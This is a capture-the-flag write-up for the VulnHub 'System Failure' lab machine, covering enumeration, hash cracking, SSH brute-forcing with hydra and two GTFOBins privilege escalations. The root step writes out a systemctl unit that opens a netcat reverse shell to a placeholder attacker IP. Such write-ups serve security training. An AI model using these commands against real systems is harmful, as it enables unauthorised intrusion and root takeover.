System Failure Walkthrough

System Failure - VulnHub Machine Writeup#

Nmap Scan#

The initial scan with nmap revealed the following open ports:

• FTP
• SSH
• HTTP
• SMB

This indicated multiple services for further enumeration.

Enum4Linux Enumeration#

Using enum4linux, I identified four users:

• admin
• superadmin
• jin
• valex

Additionally, there were some SMB shares, including an anonymous share.

Accessing the Anonymous SMB Share#

I accessed the anonymous SMB share and downloaded a file. It contained some information and a password for FTP. Initially, I thought it was hexadecimal, but it turned out to be an NTLM hash. I cracked the hash using CrackStation.

FTP Access and File Enumeration#

Using the cracked FTP credentials, I accessed the server and discovered some files. One folder contained nearly 1000 files, but one file stood out due to its size. I downloaded it and found a passage along with a here.txt file.

Decoding Base62 and Web Directory Enumeration#

The passage contained a string J310MIYla1aVUaSV, which I decoded from Base62 to discover a web directory path. Brute-forcing revealed a directory named area4. Inside, I found a useful.txt wordlist, likely containing SSH passwords.

SSH Brute-Forcing#

Using the wordlist and the known usernames, I brute-forced SSH with hydra. After experimenting with different arguments, I successfully found the password for the user valex.

Privilege Escalation to jin#

After logging in as valex, I discovered that valex could execute /usr/bin/pico as jin. Using GTFOBins, I escalated to the jin user:

Commands Used:#

sudo -u jin /usr/bin/pico

In nano, I pressed CTRL+R and CTRL+X to access command execution, then ran:

reset; sh 1>&0 2>&0;

Privilege Escalation to Root#

As jin, I found the systemctl SUID binary. Referring to GTFOBins, I exploited it to gain root access:

Commands Used:#

TF=$(mktemp).service

cat << EOF > $TF
[Service]
Type=oneshot
ExecStart=/bin/sh -c "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <YOUR_IP> 4444 >/tmp/f"
[Install]
WantedBy=multi-user.target
EOF

/usr/bin/systemctl link $TF
/usr/bin/systemctl enable --now $TF

Start a Netcat listener before running the commands to catch the reverse shell.

Author: Sagar Sehrawat

Adapted from sagar-sehrawat/VulnHub-Machine-Solutions under MIT.